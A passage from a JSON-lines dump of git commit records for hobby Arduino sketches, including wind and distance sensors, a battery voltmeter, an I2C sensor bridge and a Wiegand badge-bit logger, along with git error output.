you the analog pins are using\n#define analogPinForTMP 2\n\n\/\/ to calibrate your sensor, put a glass over it, but the sensor should not be\n\/\/ touching the desktop surface however.\n\/\/ adjust the zeroWindAdjustment until your sensor reads about zero with the glass over it. \n\nconst float zeroWindAdjustment = .16; \/\/ negative numbers yield smaller wind speeds and vice versa.\n\nint TMP_Therm_ADunits; \/\/temp termistor value from wind sensor\nfloat RV_Wind_ADunits; \/\/RV output from wind sensor \nfloat RV_Wind_Volts;\nunsigned long lastMillis;\nint TempCtimes100;\nfloat zeroWind_ADunits;\nfloat zeroWind_volts;\nfloat WindSpeed_MPH;\n\nvoid setup() {\n\n Serial.begin(57600); \/\/ faster printing to get a bit better throughput on extended info\n \/\/ remember to change your serial monitor\n\n Serial.println(\"start\");\n \/\/ put your setup code here, to run once:\n\n \/\/ Uncomment the three lines below to reset the analog pins A2 & A3\n \/\/ This is code from the Modern Device temp sensor (not required)\n \/\/pinMode(A2, INPUT); \/\/ GND pin \n \/\/pinMode(A3, INPUT); \/\/ VCC pin\n \/\/digitalWrite(A3, LOW); \/\/ turn off pullups\n\n}\n\nvoid loop() {\n\n\n if (millis() - lastMillis > 200){ \/\/ read every 200 ms - printing slows this down further\n \n TMP_Therm_ADunits = analogRead(analogPinForTMP);\n RV_Wind_ADunits = analogRead(analogPinForRV);\n RV_Wind_Volts = (RV_Wind_ADunits * 0.0048828125);\n\n \/\/ these are all derived from regressions from raw data as such they depend on a lot of experimental factors\n \/\/ such as accuracy of temp sensors, and voltage at the actual wind sensor, (wire losses) which were unaccouted for.\n TempCtimes100 = (0.005 *((float)TMP_Therm_ADunits * (float)TMP_Therm_ADunits)) - (16.862 * (float)TMP_Therm_ADunits) + 9075.4; \n\n zeroWind_ADunits = -0.0006*((float)TMP_Therm_ADunits * (float)TMP_Therm_ADunits) + 1.0727 * (float)TMP_Therm_ADunits + 47.172; \/\/ 13.0C 553 482.39\n\n zeroWind_volts = (zeroWind_ADunits * 0.0048828125) - zeroWindAdjustment; \n\n \/\/ This from a regression from data in the form of \n \/\/ Vraw = V0 + b * WindSpeed ^ c\n \/\/ V0 is zero wind at a particular temperature\n \/\/ The constants b and c were determined by some Excel wrangling with the solver.\n \n WindSpeed_MPH = pow(((RV_Wind_Volts - zeroWind_volts) \/.2300) , 2.7265); \n \n Serial.print(\" TMP volts \");\n Serial.print(TMP_Therm_ADunits * 0.0048828125);\n \n Serial.print(\" RV volts \");\n Serial.print((float)RV_Wind_Volts);\n\n Serial.print(\"\\t TempC*100 \");\n Serial.print(TempCtimes100 );\n\n Serial.print(\" ZeroWind volts \");\n Serial.print(zeroWind_volts);\n\n Serial.print(\" WindSpeed MPH \");\n Serial.println((float)WindSpeed_MPH);\n lastMillis = millis(); \n } \n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WindSensor\/WindSensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"85a867bf043dbd5d666f52047e02a3cac633dd1a","subject":"adding unrefined battery level checker","message":"adding unrefined battery level checker\n","repos":"mike-rogers\/pong-switch","old_file":"switch\/battery_level.ino","new_file":"switch\/battery_level.ino","new_contents":"\/\/ http:\/\/www.instructables.com\/id\/Secret-Arduino-Voltmeter\/\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n Serial.println(readVcc());\n delay(1000);\n}\n\nlong readVcc() {\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0) ;\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif \n \n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n \n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH \n uint8_t high = ADCH; \/\/ unlocks both\n \n long result = (high<<8) | low;\n \n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return result; \/\/ Vcc in millivolts\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'switch\/battery_level.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"643cd44a7ff1bd1beeeaa9446199522598ca0848","subject":"notes, stable release, music optional","message":"notes, stable release, music optional\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot2.ino","new_file":"motor_robot2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"400c89d307ae09268f4f34d2b0a0ccda9d94b573","subject":"added echo test (for arduino tonight)","message":"added echo test (for arduino tonight)\n","repos":"hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi","old_file":"ardesp\/Echo_test\/Echo_test.ino","new_file":"ardesp\/Echo_test\/Echo_test.ino","new_contents":"\/*\nHC-SR04 Ping distance sensor]\nVCC to arduino 5v GND to arduino GND\nEcho to Arduino pin 13 Trig to Arduino pin 12\nRed POS to Arduino pin 11\nGreen POS to Arduino pin 10\n560 ohm resistor to both LED NEG and GRD power rail\nMore info at: http:\/\/goo.gl\/kJ8Gl\nOriginal code improvements to the Ping sketch sourced from Trollmaker.com\nSome code and wiring inspired by http:\/\/en.wikiversity.org\/wiki\/User:Dstaub\/robotcar\n*\/\n\n#define trigPin 13\n#define echoPin 12\n#define led 11\n#define led2 10\n\nvoid setup() {\n Serial.begin (9600);\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n pinMode(led, OUTPUT);\n pinMode(led2, OUTPUT);\n}\n\nvoid loop() {\n long duration, distance;\n digitalWrite(trigPin, LOW); \/\/ Added this line\n delayMicroseconds(2); \/\/ Added this line\n digitalWrite(trigPin, HIGH);\n\/\/ delayMicroseconds(1000); - Removed this line\n delayMicroseconds(10); \/\/ Added this line\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n if (distance < 4) { \/\/ This is where the LED On\/Off happens\n digitalWrite(led,HIGH); \/\/ When the Red condition is met, the Green LED should turn off\n digitalWrite(led2,LOW);\n}\n else {\n digitalWrite(led,LOW);\n digitalWrite(led2,HIGH);\n }\n if (distance >= 200 || distance <= 0){\n Serial.println(\"Out of range\");\n }\n else {\n Serial.print(distance);\n Serial.println(\" cm\");\n }\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardesp\/Echo_test\/Echo_test.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"cfe440e264289efd5a49dd751da51346d305cbd4","subject":"Added LCD responses in addition to serial","message":"Added LCD responses in addition to serial\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3a0c926fec6e954137d6e911fb4736d3820f5988","subject":"Create samplyr.ino","message":"Create samplyr.ino\n\nThis is the code that is run on the photon.","repos":"quickjp2\/samplyr,quickjp2\/samplyr","old_file":"samplyr.ino","new_file":"samplyr.ino","new_contents":"\/\/ Variables for the input pins\nint P1G = D0;\nint P1R = D1;\nint P2G = D2;\nint P2R = D3;\nint P3G = D4;\nint P3R = D5;\nint P4G = D6;\nint P4R = D7;\n\n\/\/ Variables to prevent event multisending\nbool P1Goff = false;\nbool P1Roff = false;\nbool P2Goff = false;\nbool P2Roff = false;\nbool P3Goff = false;\nbool P3Roff = false;\nbool P4Goff = false;\nbool P4Roff = false;\n\n\nvoid setup() {\n \/\/Log boot-up to global boot log\n Spark.publish(\"notifyr\/announce\", \"Samplyr Online!\");\n \n pinMode(P1G, INPUT_PULLDOWN);\n pinMode(P1R, INPUT_PULLDOWN);\n pinMode(P2G, INPUT_PULLDOWN);\n pinMode(P2R, INPUT_PULLDOWN);\n pinMode(P3G, INPUT_PULLDOWN);\n pinMode(P3R, INPUT_PULLDOWN);\n pinMode(P4G, INPUT_PULLDOWN);\n pinMode(P4R, INPUT_PULLDOWN);\n\n}\n\nvoid loop() {\n \/\/ Plate 1 Green is pressed\n switch (digitalRead(P1G))\n {\n case HIGH:\n if (P1Goff == false){\n Spark.publish(\"samplyr-announce\",\"P1G\");\n P1Goff = true;\n }\n break;\n \n case LOW:\n if (P1Goff){\n delay(500);\n P1Goff = false;\n }\n break;\n }\n \n \/\/ Plate 1 Red is pressed\n switch (digitalRead(P1R))\n {\n case HIGH:\n if (P1Roff == false){\n Spark.publish(\"samplyr-announce\",\"P1R\");\n P1Roff = true;\n }\n break;\n \n case LOW:\n if (P1Roff){\n delay(500);\n P1Roff = false;\n }\n break;\n }\n \n \/\/ Plate 2 Green is pressed\n switch (digitalRead(P2G))\n {\n case HIGH:\n if (P2Goff == false){\n Spark.publish(\"samplyr-announce\",\"P2G\");\n P2Goff = true;\n }\n break;\n \n case LOW:\n if (P2Goff){\n delay(500);\n P2Goff = false;\n }\n break;\n }\n \n \/\/ Plate 2 Red is pressed\n switch (digitalRead(P2R))\n {\n case HIGH:\n if (P2Roff == false){\n Spark.publish(\"samplyr-announce\",\"P2R\");\n P2Roff = true;\n }\n break;\n \n case LOW:\n if (P2Roff){\n delay(500);\n P2Roff = false;\n }\n break;\n }\n \n \/\/ Plate 3 Green is pressed\n switch (digitalRead(P3G))\n {\n case HIGH:\n if (P3Goff == false){\n Spark.publish(\"samplyr-announce\",\"P3G\");\n P3Goff = true;\n }\n break;\n \n case LOW:\n if (P3Goff){\n delay(500);\n P3Goff = false;\n }\n break;\n }\n \n \/\/ Plate 3 Red is pressed\n switch (digitalRead(P3R))\n {\n case HIGH:\n if (P3Roff == false){\n Spark.publish(\"samplyr-announce\",\"P3R\");\n P3Roff = true;\n }\n break;\n \n case LOW:\n if (P3Roff){\n delay(500);\n P3Roff = false;\n }\n break;\n }\n \/\/ Plate 4 Green is pressed\n switch (digitalRead(P4G))\n {\n case HIGH:\n if (P4Goff == false){\n Spark.publish(\"samplyr-announce\",\"P4G\");\n P4Goff = true;\n }\n break;\n \n case LOW:\n if (P4Goff){\n delay(500);\n P4Goff = false;\n }\n break;\n }\n \n \/\/ Plate 4 Red is pressed\n switch (digitalRead(P4R))\n {\n case HIGH:\n if (P4Roff == false){\n Spark.publish(\"samplyr-announce\",\"P4R\");\n P4Roff = true;\n }\n break;\n \n case LOW:\n if (P4Roff){\n delay(500);\n P4Roff = false;\n }\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'samplyr.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10fc93bcaf04b4e7ebd1bb896c6e8d16466dfdd7","subject":"Update Thermal_HUD_bicubic.ino","message":"Update Thermal_HUD_bicubic.ino","repos":"E-Ruhl\/ECE_411_Practicum,E-Ruhl\/ECE_411_Practicum","old_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_file":"Thermal Imaging HUD code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Thermal' did not match any file(s) known to git\nerror: pathspec 'Imaging' did not match any file(s) known to git\nerror: pathspec 'HUD' did not match any file(s) known to git\nerror: pathspec 'code\/Thermal_HUD_bicubic\/Thermal_HUD_bicubic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ffb98cda324c535b8eb9771548b490803feed3ce","subject":"Simple Example","message":"Simple Example\n","repos":"AxelTB\/PingSensor","old_file":"examples\/SimplePing\/SimplePing.ino","new_file":"examples\/SimplePing\/SimplePing.ino","new_contents":"\/***\n * SimplePing\n * Simply gets distance measured by a HC-SR04.\n *\n *\n * ******Warning******\n * The HC-SR04 works at 5V!!!\n * LM4F120H5QR port are 5V-tollerant.\n * Most Arduino boards work at 5V\n * Check the datasheet before using it on a 3.3V Board\n *\n * ====Connection====\n * HC_SR04 ------- MCU\n * ========================\n * VCC -------- 5V\/VBUS\n * TRIG -------- TRIGPIN\n * ECHO -------- ECHOPIN\n * GND -------- GND\n * \n * Created 2014\/04\/04 by Alessio Graziano\n ***\/\n\n#include <PingSensor.h>\n\n#define TRIGPIN 7 \/\/Trigger pin (Any will do)\n#define ECHOPIN 8 \/\/Echo pin (Must support interrupt)\n\nPingSensor Ping; \/\/Create Ping Sensor\n\nvoid setup()\n{\n Ping.begin(7,8); \/\/Init Ping sensor\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n Ping.trigger(); \/\/Trigger measurement\n \n if(Ping.waitAvailable()) \/\/Wait for measurement complete (Or timeout)\n Serial.println(Ping.getDistance()); \/\/Write distance\n else\n {\n \/\/An error occurred\n Serial.print(\"Error:\");\n switch (Ping.getError())\n {\n case PSE_TIMEOUT:\n Serial.println(\"Timeout\");\n break;\n case PSE_NOFRONT:\n Serial.println(\"No Connection\");\n break;\n case PSE_FASTTRIGGER:\n Serial.println(\"Trigger too fast\"); \/\/This error should not ever occur in this sketch\n break;\n }\n }\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SimplePing\/SimplePing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"907750d9e32796d81ff55f20eb4643f8dc9763fa","subject":"first blink","message":"first blink\n","repos":"5shekel\/eegfckr,5shekel\/eegfckr","old_file":"eggfck_ard\/eegfck_ard.ino","new_file":"eggfck_ard\/eegfck_ard.ino","new_contents":"\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(3, HIGH);\n digitalWrite(4, HIGH); \n delay(1000);\n digitalWrite(3, LOW);\n digitalWrite(4, LOW);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'eggfck_ard\/eegfck_ard.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"1eeb5bb9639f34ae7b021fe6d838f5bb686e13ac","subject":"Initial commit.","message":"Initial commit.\n","repos":"AdamGleave\/ArduinoPiI2C","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"\/**************************** INSERT YOUR CODE HERE ***************************\/\n\n\/* This is example code. It stores the (approximate) time the Arduino has been running\n * into sensorVal1. You can then access that value over I2C, e.g. using the Raspberry Pi.\n *\n * To use your own code, delete the code below.\n * Then, copy and paste your setup() and loop() functions.\n * Finally, rename them to your_setup() and your_loop().\n *\/\n\nfloat sensorVal1;\n\nvoid your_setup()\n{\n sensorVal1 = 0.0;\n}\n\nvoid your_loop()\n{\n sensorVal1 = sensorVal1 + 1.0;\n delay(1);\n}\n\n\/************************* CONFIGURATION -- EDIT THIS! *************************\/\n\n\/\/ Do NOT need to change this\ntypedef struct {\n const char *name;\n float *value;\n} sensor;\n\n\/\/ DO need to change the next two things:\n#define I2C_ADDRESS 42 \/\/ must be between 8-120. Make sure this is different to other devices you connect!\n\n\/* To add a new sensor:\n * 1. Uncomment a line below, i.e. remove the \/\/ before it. Otherwise the line is ignored.\n * 2. Change the name to something which describes what you're sending, e.g. change SENSOR1 to TEMPERATURE.\n *\n * IMPORTANT: Keep the double quotes (\") either side of the name -- it means it is a string, not an identifier.\n * 3. Change the variable to what you're using to store your value; e.g. if your loop stores the temperature to temp_c,\n * then change &sensorVal1 to &temp_c.\n *\n * Note that the variable must be a numeric type, i.e. either an int or a float \n *\n * IMPORTANT: Keep the & before the variable (look up 'pointers' to understand why this is necessary.)\n *\/\nsensor sensors[] = {\n {\"SENSOR1\", &sensorVal1},\n \/\/{\"SENSOR2\", &sensorVal2},\n \/\/{\"SENSOR3\", &sensorVal3},\n \/\/{\"SENSOR4\", &sensorVal4},\n };\n\n\/************************* NO NEED TO CHANGE THE CODE BELOW *******************\/\n\n#include <Wire.h>\n#include <stdbool.h>\n\nchar request[128];\nchar *responseStr = NULL;\nchar *sensorList = NULL;\nint posIn = 0;\nint posOut = 0;\n\n#define CONVERSION_WIDTH 2\n#define CONVERSION_PRECISION 5\nchar responseBuf[16]; \/\/ for storing output of number to string conversions\n\nvoid receiveEvent(int howMany)\n{\n while (howMany > 0)\n {\n if (posIn < sizeof(request)-1) \n {\n request[posIn++] = Wire.read();\n request[posIn] = 0; \/\/ maintain it as a string by NIL-terminating\n }\n else {\n Serial.println(\"WARNING: Read too many bytes before receiving a request.\");\n posIn = 0;\n }\n howMany--;\n }\n}\n\n#define LENGTH(arr) (sizeof(arr)\/sizeof(arr[0]))\n\nvoid requestEvent()\n{\n if (!responseStr)\n { \n float responseNum;\n \n for (int i = 0; i < LENGTH(sensors); i++)\n {\n sensor aSensor = sensors[i];\n \n if (strcmp(request, aSensor.name) == 0)\n { \/\/ match\n responseNum = *aSensor.value;\n dtostrf(responseNum, CONVERSION_WIDTH, CONVERSION_PRECISION, responseBuf);\n responseStr = responseBuf;\n break;\n }\n }\n if (!responseStr) { \/\/ no match\n if (strcmp(request, \"TEST\") == 0) {\n responseStr = \"HELLO\";\n }\n else\n { \/\/ not a recognised sensor or built-in command\n responseStr = \"ERR\"; \n }\n }\n \n if (strcmp(request, \"TEST\") == 0) {\n responseStr = \"HELLO\";\n } else {\n responseStr = \"ERR\";\n }\n \n Serial.print(\"Received \");\n Serial.println(request);\n posIn = posOut = 0;\n request[0] = 0;\n \n Wire.write(0);\n }\n else\n {\n if (responseStr[posOut] != '\\0') {\n Wire.write(responseStr[posOut++]);\n } else\n {\n Wire.write(\"\\n\");\n Serial.println(responseStr);\n responseStr = NULL;\n }\n }\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n \n \/\/ Initialise I2C\n Wire.begin(I2C_ADDRESS);\n Wire.onRequest(requestEvent);\n Wire.onReceive(receiveEvent);\n \n Serial.println(\"I2C Bus Initialized\");\n \n \/\/ Produce list of connected sensors\n size_t length;\n for (int i = 0; i < LENGTH(sensors); i++)\n {\n length += strlen(sensors[i].name) + 1; \/\/ +1 for separation character \\n\n } \n sensorList = (char *)malloc(length);\n sensorList[0] = '\\0';\n for (int i = 0; i < LENGTH(sensors); i++)\n {\n strcat(sensorList, sensors[i].name);\n strcat(sensorList, \"\\n\");\n }\n \n \/\/ Now call the user's code\n your_setup();\n}\n\nvoid loop()\n{\n your_loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"434620cc0f4e93627b7b845cebb17f6709015d56","subject":"premier chargement du programme Eniri pour Arduino","message":"premier chargement du programme Eniri pour Arduino\n\ncommencement du projet Eniri\n","repos":"pixelorum\/eniri","old_file":"eniri.ino","new_file":"eniri.ino","new_contents":"\/\/----------------------------------------------------------\n\/\/\n\/\/ Lecteur de badge\n\/\/ Claude Boisgerault le 22-06-13\n\/\/ Version 0.9\n\/\/ ce programme permet de raccorder un lecteur avec le\n\/\/ protocole wiegand (data 0\/data 1).le logiciel lit et \n\/\/ envoie le contenu des bits du badge par le port serie usb\n\/\/ en 115200 baud vous pouvez le lire avec un terminal.\n\/\/----------------------------------------------------------\n\n\/\/ D\u00e9claration des constantes des broches\nconst int DATA_0 = 2; \/\/ Raccordement de data 0 sur Broche digital 2\nconst int DATA_1 = 3; \/\/Raccordement de data 1 sur Broche digital 3\n\n\/\/ --- D\u00e9claration des variables globales ---\nunsigned long temps_debut; \/\/ temps de r\u00e9f\u00e9rence\nunsigned long temps_inter; \/\/ temps interm\u00e9diaire\nunsigned long temps_timeout; \/\/ temps du timout\nint valeur_d0 = 0; \/\/ variable pour lecture DATA_0\nint valeur_d1 = 0; \/\/ variable pour lecture DATA_1\nint resultat = 0; \/\/ variable pour calcul\nint finlecture = 0; \/\/ flag pour pour la boucle do\n\n\/\/----------------------------------\n\/\/ initialisation du microcontroleur\n\/\/----------------------------------\nvoid setup() {\n\tpinMode (DATA_0, INPUT); \/\/Broche digital 2 en mode entr\u00e9e\n\tpinMode (DATA_1, INPUT); \/\/Broche digital 3 en mode entr\u00e9e\n\tSerial.begin(115200); \/\/ vitesse du port s\u00e9rie usb \u00e0 115200 baud\n}\n\n\/\/-----------------------------\n\/\/ d\u00e9but du programme principal\n\/\/-----------------------------\nvoid loop(){\n\tvaleur_d0 = digitalRead (DATA_0);\n\tvaleur_d1 = digitalRead (DATA_1);\n\tresultat = valeur_d0 + valeur_d1;\n\t\n\t\/\/ On v\u00e9rifie s'il y a au moins un data \u00e0 0 \n\tif ( resultat < 2 ) \n\t{\n\t\t\/\/ on v\u00e9rifie s'il y a au moins un data \u00e0 1\n\t\tif (resultat > 0 ) \n\t\t{\n\t\t\tfinlecture = 1; \/* le test de data 0 et 1 est ok on initialise la variable \n\t\t\t\t\t\t\t\t\t\t\tfinlecture pour lancer la boucle \"do\" \"d\u00e9but lecture badge\" *\/\n\t\t\t\/\/Serial.print ( \"-lecture du badge-\\n\" );\n\t\t\t\/\/---------------------------\n\t\t\t\/\/ boucle d\u00e9but lecture badge\n\t\t\t\/\/---------------------------\n\t\t\tdo \n\t\t\t{\n\t\t\t\tvaleur_d0 = digitalRead (DATA_0); \/\/ on lit l'\u00e9tat de data 0 sur le lecteur\n\t\t\t\tvaleur_d1 = digitalRead (DATA_1); \/\/ on lit l'\u00e9tat de data 1 sur le lecteur\n\t\t\t\tresultat = valeur_d0 + (valeur_d1 * 2); \/* resultat=3 > pas de valeur de bit envoy\u00e9\n\t\t\t\t\t\t\t\t\tresultat=2 > valeur de bit 0 envoy\u00e9 \n\t\t\t\t\t\t\t\t\tresultat=1 > valeur de bit 1 envoy\u00e9\n\t\t\t\t\t\t\t\t\t*\/\n\t\t\t\t\n \/\/---------------------------------------\n\t\t\t\t\/\/ on lit une valeur de bit de donn\u00e9e \u00e0 0\n\t\t\t\t\/\/---------------------------------------\n\t\t\t\tif ( resultat == 2 )\n\t\t\t\t{ \n\t\t\t\t\tSerial.print(\"0\"); \/\/ on envoie la nouvelle valeur de bit 0\n\t\t\t\t\ttemps_debut = micros(); \/\/ top chrono temps r\u00e9f\u00e9rent\n \/\/ boucle de test timeout de data 0\n\t\t\t\t\tdo\n\t\t\t\t\t{\n\t\t\t\t\t\tvaleur_d0 = digitalRead (DATA_0); \/\/ on lit l'\u00e9tat de data 0 sur le lecteur\n\t\t\t\t\t\ttemps_inter = micros(); \/\/ on prend le temps\n\t\t\t\t\t\ttemps_timeout = temps_inter - temps_debut; \/\/ on calcul le temps pass\u00e9\n\t\t\t\t\t\tif (temps_timeout > 100) \/\/ timeout d\u00e9pass\u00e9 on arr\u00eate la lecture du badge\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfinlecture = 0; \/\/ on oblige la sortie de la boucle \"do\" d\u00e9but lecture badge\n\t\t\t\t\t\t\tSerial.print(\"!00!\"); \/\/ on envoie le code erreur !00! timeout sur data 0\n Serial.println( String (temps_timeout));\n\t\t\t\t\t\t}\n\t\t\t\t\t}while (valeur_d0 == 0);\n\t\t\t\t} \n\t\t\t\t\n\t\t\t\t\/\/----------------------------------------\n\t\t\t\t\/\/ on lit une valeur de bit de donn\u00e9e \u00e0 1\n\t\t\t\t\/\/----------------------------------------\n\t\t\t\tif ( resultat == 1 )\n\t\t\t\t{\n\t\t\t\t\tSerial.print(\"1\"); \/\/ on envoie la nouvelle valeur de bit 1\n\t\t\t\t\ttemps_debut = micros();\n \/\/ boucle de test timeout de data 1\n\t\t\t\t\tdo\n\t\t\t\t\t{\n\t\t\t\t\t\tvaleur_d1 = digitalRead (DATA_1);\/\/ on lit l'\u00e9tat de data 1 sur le lecteur\n\t\t\t\t\t\ttemps_inter = micros(); \/\/ on prend le temps\n\t\t\t\t\t\ttemps_timeout = temps_inter - temps_debut; \/\/ on calcul le temps pass\u00e9\n\t\t\t\t\t\tif (temps_timeout > 100) \/\/ timeout d\u00e9pass\u00e9 on arr\u00eate la lecture du badge\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfinlecture = 0; \/\/ on oblige la sortie de la boucle \"do\" d\u00e9but lecture badge\n\t\t\t\t\t\t\tSerial.print(\"!01!\"); \/\/ on envoie le code erreur !01! \"timeout sur data 1\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}while (valeur_d1 == 0);\n\t\t\t\t}\n\t\t\t\t\/\/-------------------------------------------------------\n\t\t\t\t\/\/ il n'y a plus de donn\u00e9e data 0 ou 1 envoy\u00e9\n\t\t\t\t\/\/-------------------------------------------------------\n\n\t\t\t\tif ( resultat == 3)\n\t\t\t\t{\n\t\t\t\t\ttemps_debut = micros();\n\t\t\t\t \/\/ boucle de test timeout entre 2 donn\u00e9e de bit\n\t\t\t\t\tdo\n\t\t\t\t\t{\n\t\t\t\t\t\tvaleur_d0 = digitalRead (DATA_0); \/\/ on lit l'\u00e9tat de data 0 sur le lecteur\n\t\t\t\t\t\tvaleur_d1 = digitalRead (DATA_1); \/\/ on lit l'\u00e9tat de data 1 sur le lecteur\n\t\t\t\t\t\tresultat = valeur_d0 + (valeur_d1 * 2);\n\t\t\t\t\t\ttemps_inter = micros(); \/\/ on prend le temps\n\t\t\t\t\t\ttemps_timeout = temps_inter - temps_debut; \/\/ on calcul le temps pass\u00e9\n\t\t\t\t\t\tif (temps_timeout > 3000) \/\/ timeout d\u00e9pass\u00e9 on arr\u00eate la lecture du badge\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfinlecture = 0; \/\/ on oblige la sortie de la boucle \"do\" d\u00e9but lecture badge\n\t\t\t\t\t\t\tSerial.print(\"!03!\"); \/\/ on envoie le code erreur !03! \"timeout entre 2 donn\u00e9e de bit\"\n resultat = 0; \/\/ on oblige la sortie de la boucle \"do\" timeout\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}while (resultat == 3);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t}while (finlecture == 1); \/\/ on sort de la boucle \"do\" d\u00e9but lecture badge\n\t\t\tSerial.print(\"#\\n\"); \/\/ on envoie le code de fin lecture badge avec retour ligne\n\t\t\n\t\t}\n \n\t}\n} \/\/ fin de la boucle Void()\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'eniri.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"65b05c5dd45bcfc1a6fff01ef58753307df159b5","subject":" On branch master Your branch is up-to-date with 'origin\/master'.","message":" On branch master\n Your branch is up-to-date with 'origin\/master'.\n\n Changes to be committed:\n\tnew file: display\/live_market_led_display\/led_market_display\/led_market_display.ino\n\nMy current progress on the sketch for the light strip control with one light strip (not yet working but close)\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/live_market_led_display\/led_market_display\/led_market_display.ino","new_file":"display\/live_market_led_display\/led_market_display\/led_market_display.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"20deee9033719bccd9027531a17843351394a4c5","subject":"Deleted Example","message":"Deleted Example\n","repos":"Martin555\/DHT22-OAK","old_file":"firmware\/examples\/PythonDHT_Oak_JFM1_2.ino","new_file":"firmware\/examples\/PythonDHT_Oak_JFM1_2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Martin555\/DHT22-OAK.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2dd8fbd5c50b186ec4186120c633b867124e73ce","subject":"turning testing. 200 can go very accurately","message":"turning testing. 200 can go very accurately\n","repos":"lushl9301\/Yellow-SubArena","old_file":"motor\/src\/sketch_forTurning.ino","new_file":"motor\/src\/sketch_forTurning.ino","new_contents":"#include \"MotorShield.h\"\n#include \"Speed.h\"\n#include \"avr\/io.h\"\n#include \"avr\/interrupt.h\"\n\n#define motor_L 13 \/\/ encoder\n#define motor_R 3 \/\/ encoder\n\n#define RisingEdgePerGrid 400\n#define RisingEdgePerTurn_200 